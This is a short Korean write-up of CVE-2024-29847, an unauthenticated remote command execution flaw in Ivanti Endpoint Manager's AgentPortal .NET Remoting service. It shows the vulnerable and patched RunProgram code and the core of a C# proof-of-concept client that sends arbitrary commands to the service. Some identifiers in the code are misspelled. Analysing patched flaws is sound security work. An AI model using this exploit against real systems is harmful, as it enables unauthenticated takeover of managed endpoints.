[하루한줄] CVE-2024-29847 : Ivanti Endpoint Manager (EPM)의 데이터 검증 미흡으로 인한 Unauthenticated Command Execution 취약점

URL

Target

  • Ivanti EPM before 2022 SU6
  • Ivanti EPM the 2024 September update

Explain

AgentPortal.exe에는 .Net Remoting을 구현하기 위한 IAngentProtal 인터페이스가 정의되어 있습니다. IAgentPortal에 RunProgram 옵션을 확인해 보면 원격에서 전달된 명령어를 그대로 실행합니다.

private static bool ProcessRunProgramAction(TaskData td, TaskData tdRef, string[] data)
{
	bool flag = true;
	int index = 0;
	foreach (string command in td._commands)
	{
		try {
			Process process = new Process();
			process.StartInfo.UseShellExecute = false;
			process.StartInfo.RedirextStadardOutput = true;
			process.StartInfo.FileName = td._target;
			process.StartInfo.Arguments = command; // [1]
			process.Start(); // [2]

위 코드 [1]에서 명령어를 가져와 [2]에서 그대로 명령어를 실행합니다. 이 때 command에 대해 아무런검증을 하지 않아 임의의 명령어를 실행할 수 있습니다.

private static bool ProcessRunProgramAction(TaskData td, TaskData tdRef, string[] data)
{
	bool flag = true;
	int index = 0;
	foreach (string command in td._commands)
	{
		try {
			Process process = new Process();
			process.StartInfo.UseShellExecute = false;
			process.StartInfo.RedirextStadardOutput = true;
			if (td._target != "ping.exe" && td._target != "tracert.exe")
				return false;
			process.StartInfo.FileName = td._target;
			process.StartInfo.Arguments = command;
			process.Start();

패치된 코드를 보면 위와 같이 ping이나 tracert가 아니면 실행하지 않도록 패치되었습니다.

var ip = args[0];
var port = args[1];
var command = args[2];
string arguments = "";
if (args.Length > 3)
{
   arguments = string.Join(" ", args, 3, args.Length - 3);
}

string url = String.Format("tcp://{0}:{1}/LANDeskAgentPortal/LDSM", ip, port);
IAgentPortal agentPortal = (IAgentPortal)Activator.GetObject(typeof(IAgentPortal), url);

try
{
    Console.WriteLine("Sending request.");
    bool request_result = agentPortal.Request("localhost", IAgentPortalBase.ActionEnum.RunProgram, command,  arguments);

취약점이 간단한 만큼 익스플로잇도 간단합니다. 단순하게 실행할 명령어를 넣어 Agetnportal에 전송하면 명령어가 실행됩니다.

해당 취약점은 활용하기 쉽고 인증을 거치지 않기 때문에 CVSS3.1 9.8점을 받았습니다.

Reference